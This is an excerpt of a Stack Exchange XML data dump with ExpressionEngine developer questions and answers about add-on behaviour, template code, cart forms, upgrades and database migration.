  <row Id="16709" PostTypeId="1" AcceptedAnswerId="16728" CreationDate="2013-11-12T23:23:49.547" Score="2" ViewCount="136" Body="&lt;p&gt;Our predicament is that we are using 3 media queries with different layouts which means that we're essentially generating all of the content 3 times. For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;small-media&quot;&amp;gt;&#xA;  {embed=&quot;template/view_small&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;medium-media&quot;&amp;gt;&#xA;  {embed=&quot;template/view_medium&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;large-media&quot;&amp;gt;&#xA;  {embed=&quot;template/view_large&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see how ridiculous this is. We have tons of things being pulled in and we're starting to see overages on our data for doing it this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're wondering if there's a way to use PHP (or EE itself) at the top of the document to load everything once and then send only the pertinent data to the nested templates at each media query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any input on this.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2013-11-13T19:48:00.333" Title="Optimization: Need to cut-down on server load" Tags="|optimization|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16710" PostTypeId="1" CreationDate="2013-11-13T00:27:07.383" Score="3" ViewCount="219" Body="&lt;p&gt;I've installed (new) seg2cat on  a new EE upgrade (2.7.2) and it isn't behaving as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(1.143091 / 6.09MB)      Snippets (Keys): segment_category_ids|segment_1_category_id|segment_1_category_parent_id|segment_1_category_group_id|segment_1_category_name|segment_1_category_description|segment_1_category_image|segment_2_category_id|segment_2_category_parent_id|segment_2_category_group_id|segment_2_category_name|segment_2_category_description|segment_2_category_image|segment_3_category_id|segment_3_category_parent_id|segment_3_category_group_id|segment_3_category_name|segment_3_category_description|segment_3_category_image|segment_4_category_id|segment_4_category_parent_id|segment_4_category_group_id|segment_4_category_name|segment_4_category_description|segment_4_category_image|last_segment_category_id|last_segment_category_parent_id|last_segment_category_group_id|last_segment_category_name|last_segment_category_description|last_segment_category_image|freelancer_version|site_id|site_label|site_short_name|last_segment|current_url|current_path|current_query_string&#xA;(1.143106 / 6.09MB)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the blank values here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Snippets (Values): 241|||||||||||||||||||241|0|6|Attire for Grooms + Groomsmen||grooms.jpg|241|0|6|Attire for Grooms + Groomsmen||grooms.jpg|FALSE|1|Ashley's Bride Guide|default_site|attire-for-grooms-groomsmen|http://ashleysbrideguide.com/abg.php/nashville-wedding-ideas/gallery/attire-for-grooms-groomsmen/attire-for-grooms-groomsmen|nashville-wedding-ideas/gallery/attire-for-grooms-groomsmen/attire-for-grooms-groomsmen|&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why a multitude of snippet values would output blank values without keys? Or numeric values like 241, without keys?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All advice appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Posting under low-seg2cat because this bug lead to blank seg2cat values. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="342" LastActivityDate="2013-11-13T08:07:48.237" Title="Seg2Cat blank values" Tags="|snippets|low-seg2cat|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16711" PostTypeId="2" ParentId="16692" CreationDate="2013-11-13T02:07:50.110" Score="4" Body="&lt;p&gt;If you're looking for robust tracking of user actions in the Control Panel than what EE provides, there is &lt;a href=&quot;http://devot-ee.com/add-ons/audit&quot; rel=&quot;nofollow&quot;&gt;Audit&lt;/a&gt; (and &lt;a href=&quot;http://devot-ee.com/add-ons/audit-pro&quot; rel=&quot;nofollow&quot;&gt;Audit Pro&lt;/a&gt;). Audit adds some additional user tracking beyond what EE does. Here is the list of what it tracks, from its page on Devot:ee&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Member Logins, including Control Panel &amp;amp; front-end &lt;/li&gt;&#xA;  &lt;li&gt;Member Logouts,&#xA;  including Control Panel &amp;amp; front-end &lt;/li&gt;&#xA;  &lt;li&gt;New Entries, including&#xA;  Safecracker &lt;/li&gt;&#xA;  &lt;li&gt;Updates to Entries, via the Publish screen or multiple&#xA;  entries via the Edit screen, including Safecracker &lt;/li&gt;&#xA;  &lt;li&gt;Deleting Entries &lt;/li&gt;&#xA;  &lt;li&gt;New Members &lt;/li&gt;&#xA;  &lt;li&gt;Deleting Members &lt;/li&gt;&#xA;  &lt;li&gt;Editing of Members &lt;/li&gt;&#xA;  &lt;li&gt;Changing Templates (editing a template, not its preferences)&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/audit&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/audit&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/audit-pro&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/audit-pro&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-11-13T02:07:50.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16712" PostTypeId="2" ParentId="15389" CreationDate="2013-11-13T03:22:52.553" Score="5" Body="&lt;p&gt;Have you tried labeling the statuses without the initial caps?  I believe the default categories are open and closed not Open and Closed, is it possible that that is causing the issue for you?  Additionally if you are trying to show all entries except a certain one consider using not.  For example I have a status like &lt;code&gt;status=&quot;not closed|open|under_development&quot;&lt;/code&gt; in one of my relationship tags.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are trying to explicitly tell it to display all entries regardless of status, you can try &lt;code&gt;status=&quot;not nonexistant&quot;&lt;/code&gt; where nonexistant would be a status that has not been created so no entry will have it.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2013-11-13T03:22:52.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16713" PostTypeId="2" ParentId="16710" CreationDate="2013-11-13T03:47:53.117" Score="3" Body="&lt;p&gt;That looks like expected behaviour to me. I'm assuming that you're seeing this at a URL which has a category slug in &lt;code&gt;segment_3&lt;/code&gt; and nowhere else, so all of the other Seg2Cat variables are empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What was the behaviour you were expecting?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-11-13T03:47:53.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16714" PostTypeId="1" AcceptedAnswerId="16720" CreationDate="2013-11-13T06:04:24.867" Score="1" ViewCount="64" Body="&lt;p&gt;Is there a library, class or method that an addon can access to be able to delete members?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-11-13T12:39:01.377" Title="Method to Delete members in Addons" Tags="|members|delete|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16715" PostTypeId="1" CreationDate="2013-11-13T07:24:51.443" Score="2" ViewCount="355" Body="&lt;p&gt;I've got a channel using several kinds of fields (textarea, matrix, wygwam), and I need the &quot;Automatically turn URLs and email addresses into links&quot; functionality on the channel. I've set the option in the channel preferences, and it works as expected for the textarea field. The wygwam field, however, does't convert the same text into a link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on EE 2.7.2 and Wygwam 3.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never had this problem before with other versions (of EE and Wygwam) - anyone else ever experience something similar?&lt;/p&gt;&#xA;" OwnerUserId="2359" LastActivityDate="2013-11-26T16:21:03.810" Title="&quot;Automatically turn URLs and email addresses into links&quot; not working on Wygwam fields" Tags="|ee2|pixelandtonic|wygwam|channel|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16716" PostTypeId="2" ParentId="16710" CreationDate="2013-11-13T08:07:48.237" Score="5" Body="&lt;p&gt;For visibility, this is what your snippets look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[segment_category_ids] =&amp;gt; 241&#xA;[segment_1_category_id] =&amp;gt; &#xA;[segment_1_category_parent_id] =&amp;gt; &#xA;[segment_1_category_group_id] =&amp;gt; &#xA;[segment_1_category_name] =&amp;gt; &#xA;[segment_1_category_description] =&amp;gt; &#xA;[segment_1_category_image] =&amp;gt; &#xA;[segment_2_category_id] =&amp;gt; &#xA;[segment_2_category_parent_id] =&amp;gt; &#xA;[segment_2_category_group_id] =&amp;gt; &#xA;[segment_2_category_name] =&amp;gt; &#xA;[segment_2_category_description] =&amp;gt; &#xA;[segment_2_category_image] =&amp;gt; &#xA;[segment_3_category_id] =&amp;gt; &#xA;[segment_3_category_parent_id] =&amp;gt; &#xA;[segment_3_category_group_id] =&amp;gt; &#xA;[segment_3_category_name] =&amp;gt; &#xA;[segment_3_category_description] =&amp;gt; &#xA;[segment_3_category_image] =&amp;gt; &#xA;[segment_4_category_id] =&amp;gt; 241&#xA;[segment_4_category_parent_id] =&amp;gt; 0&#xA;[segment_4_category_group_id] =&amp;gt; 6&#xA;[segment_4_category_name] =&amp;gt; Attire for Grooms + Groomsmen&#xA;[segment_4_category_description] =&amp;gt; &#xA;[segment_4_category_image] =&amp;gt; grooms.jpg&#xA;[last_segment_category_id] =&amp;gt; 241&#xA;[last_segment_category_parent_id] =&amp;gt; 0&#xA;[last_segment_category_group_id] =&amp;gt; 6&#xA;[last_segment_category_name] =&amp;gt; Attire for Grooms + Groomsmen&#xA;[last_segment_category_description] =&amp;gt; &#xA;[last_segment_category_image] =&amp;gt; grooms.jpg&#xA;[freelancer_version] =&amp;gt; FALSE&#xA;[site_id] =&amp;gt; 1&#xA;[site_label] =&amp;gt; Ashley's Bride Guide&#xA;[site_short_name] =&amp;gt; default_site&#xA;[last_segment] =&amp;gt; attire-for-grooms-groomsmen&#xA;[current_url] =&amp;gt; http://ashleysbrideguide.com/abg.php/nashville-wedding-ideas/gallery/attire-for-grooms-groomsmen/attire-for-grooms-groomsmen&#xA;[current_path] =&amp;gt; nashville-wedding-ideas/gallery/attire-for-grooms-groomsmen/attire-for-grooms-groomsmen&#xA;[current_query_string] =&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Snippets array also contains the current URI, which is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nashville-wedding-ideas/gallery/attire-for-grooms-groomsmen/attire-for-grooms-groomsmen&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of this leads me to conclude you do not have the latest Low Seg2Cat (v2.8.0 at this time) installed. First of all, I don't see the &lt;code&gt;segment_category_ids_piped&lt;/code&gt; key &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/changelog#v2.8.0&quot;&gt;that v2.8.0 introduced&lt;/a&gt;. Secondly, there are duplicate segments in the URI (3 and 4 are the same) and only the category vars for segment 4 are set. This was &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/changelog#v2.7.0&quot;&gt;addressed in v2.7.0&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the Seg2Cat vars are empty because they do not match category URL titles, which is intended behaviour, like Derek said. Setting the &lt;em&gt;Set all segments&lt;/em&gt; option to Yes will do this for all possible segments, hard coded by EE to 9. Since you haven't got these set, and the default was set to Yes from &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/changelog#v2.6.2&quot;&gt;version 2.6.2&lt;/a&gt; onward. You've also got the &lt;code&gt;last_segment_category_...&lt;/code&gt; vars there, so I'm going to guess you've got version 2.6.1 installed.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-11-13T08:07:48.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16717" PostTypeId="1" CreationDate="2013-11-13T11:31:02.907" Score="1" ViewCount="504" Body="&lt;p&gt;I'm trying to save an API Rest response in entry with PHP. This is the functional PHP script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;   channel=&quot;products&quot; &#xA;   limit=&quot;1&quot;&#xA;   require_entry=&quot;yes&quot;&#xA;   entry_id=&quot;{segment_3}&quot;&#xA;}&#xA;&amp;lt;?php&#xA;&#xA;/**&#xA; * Ensure that you have cURL installed by uncommenting&#xA; * ;extension=php_curl.dll&#xA; * in your php.ini&#xA; */&#xA;&#xA;$url = &quot;https://api.**************&quot;;&#xA;&#xA;{product_uploaded_model}&#xA;$path = $_SERVER['DOCUMENT_ROOT'] . '/models/uploads/products/';&#xA;$filename = &quot;{file_name}&quot;;&#xA;$tags = &quot;{author} {file_id}&quot;;&#xA;$description = &quot;{title}&quot;;&#xA;{/product_uploaded_model}&#xA;$token_api = &quot;*********************&quot;;&#xA;$title = &quot;{title}&quot;;&#xA;$private = 1;&#xA;$password = &quot;****&quot;;&#xA;&#xA;$data = array(&#xA;    &quot;title&quot; =&amp;gt; $title,&#xA;    &quot;description&quot; =&amp;gt; $description,&#xA;    &quot;fileModel&quot; =&amp;gt; &quot;@&quot;.$path.$filename,&#xA;    &quot;filenameModel&quot; =&amp;gt; $filename,&#xA;    &quot;tags&quot; =&amp;gt; $tags,&#xA;    &quot;token&quot; =&amp;gt; $token_api,&#xA;    &quot;private&quot; =&amp;gt; $private,&#xA;    &quot;password&quot; =&amp;gt; $password&#xA;);&#xA;&#xA;$ch = curl_init();&#xA;curl_setopt_array($ch, array(&#xA;    CURLOPT_RETURNTRANSFER =&amp;gt; 1,&#xA;    CURLOPT_URL =&amp;gt; $url,&#xA;    CURLOPT_POST =&amp;gt; 1,&#xA;    CURLOPT_POSTFIELDS =&amp;gt; $data&#xA;));&#xA;&#xA;$response = curl_exec($ch);&#xA;&#xA;curl_close($ch);&#xA;&#xA;echo $response;&#xA;&#xA;?&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The server's response is like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;result&quot;: {&quot;id&quot;: &quot;32c45b4fe5b74420a53ee8e76c247837&quot;}, &quot;success&quot;: true}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now i need to put the &quot;id&quot; in a entry's field with this in single entry template: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;*****&quot; return=&quot;*****/ENTRY_ID&quot; entry_id=&quot;{segment_3}&quot;}&#xA;&#xA;{field:product_id}&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Extrapolating the id from the response and putting it in the field, and save the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is: How can I extrapolate the id from the response? How can I put in &lt;code&gt;{field:product_id}&lt;/code&gt;? How can I save the form and redirect to another page?&lt;/p&gt;&#xA;" OwnerUserId="1047" LastEditorUserId="28" LastEditDate="2013-11-13T17:05:02.793" LastActivityDate="2013-11-13T17:15:21.067" Title="Store API Rest response in entry form with PHP" Tags="|php|channel-form|channel-entries-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16718" PostTypeId="1" CreationDate="2013-11-13T11:55:45.610" Score="2" ViewCount="66" Body="&lt;p&gt;I tried to do an upgrade to 2.7.2 using Updater but found that the version of Updater was old. Hence, it didn't work! I know it's my fault and I should have checked first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I try to login to the Control Panel I get the following error message -&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Database Error Occurred&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Error Number: 1054&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unknown column 'hash' in 'field list'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SELECT &lt;code&gt;hash&lt;/code&gt;, &lt;code&gt;timestamp&lt;/code&gt; FROM (&lt;code&gt;exp_developer_log&lt;/code&gt;) ORDER BY&#xA;  &lt;code&gt;timestamp&lt;/code&gt; asc&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: libraries/Logger.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 106&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's not critical as the site is in development, but when I get home tonight and have a chance to look at it, if I do a manual upgrade of the EE files for 2.7.2 will that solve the issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have a back up of the database before I began the upgrade and I host with enginehosting.&lt;/p&gt;&#xA;" OwnerUserId="230" LastEditorUserId="28" LastEditDate="2013-11-13T16:53:32.607" LastActivityDate="2013-11-13T17:01:24.557" Title="Error Upgrading to 2.7.2" Tags="|database|updating|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16719" PostTypeId="2" ParentId="16718" CreationDate="2013-11-13T12:05:53.613" Score="2" Body="&lt;p&gt;Don't try and mess with a failed upgrade. Revert back to previous &amp;amp; start again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the failure point was updater I'd recommend a manual update.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-11-13T12:05:53.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16720" PostTypeId="2" ParentId="16714" CreationDate="2013-11-13T12:39:01.377" Score="5" Body="&lt;p&gt;Yup, just load the Member model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;model('member_model');&#xA;ee()-&amp;gt;member_model-&amp;gt;delete_member($member_id, $heir_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$member_id&lt;/code&gt; can be a single member, or an array of ids.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$heir_id&lt;/code&gt; is the &lt;code&gt;member_id&lt;/code&gt; that should take authorship of any existing entries belonging to the member being deleted.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-11-13T12:39:01.377" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16721" PostTypeId="1" AcceptedAnswerId="16946" CreationDate="2013-11-13T12:53:01.133" Score="1" ViewCount="43" Body="&lt;p&gt;We're migrating a EE1.x site that uses aMember and the old 1.x aMember plug-in. New registrations are created in the EE2.x DB but log-in 'via' aMember no longer seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did log-in change significantly between EE1.x and EE2.x? I'm guessing so but I wondered if anyone knew roughly what the differences are or happened to have updated the old EE1.x aMember ExpressionEngine plug-in to work with ExpressionEngine 2.x.&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="28" LastEditDate="2013-11-13T16:52:14.053" LastActivityDate="2013-11-20T14:27:33.943" Title="Migrating the EE1.x aMember plug-in to EE2.x" Tags="|integration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16722" PostTypeId="2" ParentId="14415" CreationDate="2013-11-13T13:45:26.750" Score="3" Body="&lt;p&gt;Since your files transferred just fine, it's the database export/import process that failed you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are transferring a database from one server to another it is ideal to do one or both of the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Export the database you are duplicating with DROP TABLES syntax and gzipped. If you don't add DROP tables syntax, you'll just merge the tables possibly leaving unnecessary tables and columns in the replaced database.&lt;/li&gt;&#xA;&lt;li&gt;Before importing the above gzipped database to the second server, delete the second server database's tables completely. The DROP TABLES syntax will remove tables if they already exist before re-adding them, but you may have other tables that are not in the new database.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-11-14T09:44:46.773" LastActivityDate="2013-11-14T09:44:46.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16723" PostTypeId="1" AcceptedAnswerId="16762" CreationDate="2013-11-13T14:42:56.233" Score="2" ViewCount="207" Body="&lt;p&gt;I have my Field groups set up like so;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trail&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;title&lt;/li&gt;&#xA;&lt;li&gt;related_things [Playa]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thing&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;title&lt;/li&gt;&#xA;&lt;li&gt;content [Matrix]&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;content_text [Wygwam]&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;content_trail [Playa, assigns a Trail above]&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I edit a 'Thing', i'm adding multiple rows to the Matrix and assigning each {content_text} with a {content_trail}, which uses Playa:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PSBdx.png&quot; alt=&quot;enter image description here&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, some rows may have the same Trail assigned in the {content_trail}. This is not a problem, but in the template I would like the content displayed and grouped by the {content_trail}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my updated code using Stash;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Iterate over an array of unique Trails in the list --}&#xA;{exp:stash:set_list name=&quot;@:content_trail&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;33&quot;}&#xA;    {!-- For each Trail output a data for the matching Trail --}&#xA;    {exp:stash:get_list name='@:content'&#xA;      orderby=&quot;content_trail&quot;&#xA;      sort=&quot;desc&quot;&#xA;     }&#xA;        {!-- This is the content_text column from the content Matrix table --}&#xA;        {stash:content_text}{content}{content_text}{/content}{/stash:content_text}&#xA;        {stash:content_trail}{exp:playa:children col=&quot;content_trail&quot;}{title}{/exp:playa:children}{/stash:content_trail}&#xA;    {/exp:stash:get_list}&#xA;{/exp:stash:set_list}&#xA;&#xA;&#xA;&#xA;{exp:stash:get_list name='@:content_trail' unique=&quot;yes&quot;}&#xA;    {!-- Get the unique Trail title --}&#xA;    &amp;lt;h2&amp;gt;{content_trail}&amp;lt;/h2&amp;gt;&#xA;    {!-- Get all content_text Matrix rows for this Trail --}&#xA;    {exp:stash:get_list:nested name=&quot;@:content&quot; prefix=&quot;result&quot; orderby=&quot;total&quot; match=&quot;#^{content_trail}$#&quot; against=&quot;content_trail&quot;}&#xA;        {content_text}&#xA;    {/exp:stash:get_list:nested}&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this is now doing is successfully getting the unique content_trail Playa data and displaying it all in one h2 tag like: Aviation TrailHeritage Trail, instead of creating two separate h2's. Also, it is not displaying the content_text rows that match the unique content_trail's.&lt;/p&gt;&#xA;" OwnerUserId="466" LastEditorUserId="466" LastEditDate="2013-11-14T10:04:37.747" LastActivityDate="2013-11-14T16:58:09.260" Title="Grouping Matrix rows based on Playa relationship field" Tags="|matrix|playa|stash|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16724" PostTypeId="1" AcceptedAnswerId="16725" CreationDate="2013-11-13T15:49:08.373" Score="1" ViewCount="462" Body="&lt;p&gt;Running on my localhost, I can't get Store 2 to add products to the cart.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I've completely removed my .htaccess file and set my index page to &lt;code&gt;index.php&lt;/code&gt; to eliminate rewrites as a potential cause.&lt;/li&gt;&#xA;&lt;li&gt;You do not need to be logged-in to purchase (via settings)&lt;/li&gt;&#xA;&lt;li&gt;SSL is not required for checkout actions (via settings)&lt;/li&gt;&#xA;&lt;li&gt;Running EE 2.7.2 and Store 2.0.6&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My template code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{entry_id}&quot; return=&quot;cart/index&quot; disable_javascript=&quot;yes&quot;}&#xA;    &amp;lt;button class=&quot;btn&quot;&amp;gt;Add to Cart&amp;lt;/button&amp;gt;&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which renders to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; class=&quot;store_product_form&quot;&amp;gt;&#xA;    &amp;lt;div style=&quot;margin:0;padding:0;display:inline;&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;return_url&quot; value=&quot;cart/index&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id&quot; value=&quot;2786&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;nosubmit&quot; value=&quot;1&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;41&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;book/[url_title_redacted]&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;site_id&quot; value=&quot;1&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;_params&quot; value=&quot;69KWfitkNRkGcCM70xb/xVBDRDgS8b+Gidj4Jm17QqWWwRtxKugeyL9rqZbeUJCEoAjGCVwAIpUaWG9crrWenIab/MHr9uS1p/7XVJNV9Ei5jfM0Crio4DhMjdb0GvizwuV4r5x2Qx3GlbWHpNJ9+RPXrGkZEamm/FaJJIaTBzM=&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;785db0072762b9f7c3397ea0e4b95f9a5efbf092&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;button class=&quot;btn&quot;&amp;gt;Add to Cart&amp;lt;/button&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After submission, I get to my &lt;strong&gt;/cart&lt;/strong&gt; template, but only the contents of my &lt;code&gt;{if no_items}&lt;/code&gt; conditional displays. Removing the &lt;code&gt;{if no_items}&lt;/code&gt; conditional results in no output between the &lt;code&gt;store:checkout&lt;/code&gt; tag pair at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where to troubleshoot next?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-11-14T01:08:52.653" Title="Products not adding to cart (Exp:resso Store 2.0.6)" Tags="|expresso-store|shopping-cart|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16725" PostTypeId="2" ParentId="16724" CreationDate="2013-11-13T16:37:19.100" Score="4" Body="&lt;p&gt;Add a item_qty field to tell Store how many products to add to the cart.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;item_qty&quot; value=&quot;1&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, there is a debug tag that will help you see what's happening in your cart more clearly. Pop this into any of your templates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout_debug}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-14T01:08:52.653" LastActivityDate="2013-11-14T01:08:52.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16726" PostTypeId="2" ParentId="16718" CreationDate="2013-11-13T17:01:24.557" Score="1" Body="&lt;p&gt;The error says the &quot;hash&quot; column is missing from the &quot;exp_developer_log&quot; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest getting into the database using &lt;a href=&quot;http://support.hostgator.com/articles/specialized-help/technical/phpmyadmin/adding-a-column-to-a-database-table-in-phpmyadmin&quot; rel=&quot;nofollow&quot;&gt;PHPMyAdmin and manually adding a new column&lt;/a&gt; to that table named &quot;hash&quot;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-13T17:01:24.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
